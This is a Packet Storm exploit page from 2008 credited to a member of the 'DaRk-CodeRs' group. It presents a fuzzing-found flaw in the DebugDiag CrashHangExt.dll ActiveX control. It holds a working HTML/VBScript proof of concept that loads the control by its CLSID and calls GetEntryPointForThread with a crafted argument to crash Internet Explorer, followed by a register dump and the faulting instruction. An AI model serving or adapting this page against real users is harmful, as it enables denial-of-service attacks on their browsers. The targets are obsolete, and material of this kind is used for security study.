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debugdiag-null.txt

🗓️ 30 Oct 2008 00:00:00Reported by suN8HclfType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

DebugDiag NULL Pointer Dereference in Internet Explore

Code
`Name : DebugDiag (CrashHangExt.dll 1.0) NULL Pointer Dereference  
Credit : suN8Hclf (DaRk-CodeRs Group), [email protected]  
Download : http://www.microsoft.com/downloads/details.aspx?FamilyID=28bd5941-c458-46f1-b24d-f60151d875a3&displaylang=en#Overview  
Greetz : Luigi Auriemma, Louis Carriere, 0in, cOndemned, e.wiZz!, Gynvael Coldwind, Myo  
Katharsis, all fron #dark-coders  
  
=+ Product of Fuzzing +=  
  
This code should crash down Internet Explorer  
Tested on:  
+ Windows XP SP2 (full patched) & IE 6.0 (full patched)  
+ Windows 2000 SP 4 (full patched) & IE 6.0 (full patched)  
  
Marked as:  
================================================  
Class Utils  
GUID: {7233D6F8-AD31-440F-BAF0-9E7A292A53DA}  
Number of Interfaces: 1  
Default Interface: IUtils  
  
RegKey Safe for Script: False  
RegkeySafe for Init: False  
KillBitSet: False  
================================================  
  
  
Exploit:  
~~~~~~~~~~~~~~~~~~~~~~  
  
-----------------------code.htm--------------------------  
<body>  
<object classid='clsid:7233D6F8-AD31-440F-BAF0-9E7A292A53DA' id='target' />  
</object>  
<script language='vbscript'>  
arg1=-2147483647  
  
target.GetEntryPointForThread arg1   
</script>  
</body>  
-----------------------code.htm--------------------------  
  
  
Info  
~~~~~~~~~~~~~~~~~~~~~~  
EAX 00000000  
ECX 0012DDDC  
EDX 001E98EA  
EBX 02C318E8 CrashHan.02C318E8  
ESP 0012DD88  
EBP 0012DE04  
ESI 023F1FE0  
EDI 00000000  
EIP 02C38290 CrashHan.02C38290  
  
IE crashes while trying to execute this line (Null pointer dereference):  
02C38290 8B08 MOV ECX,DWORD PTR DS:[EAX]  
  
  
//www.dark-coders.pl  
`

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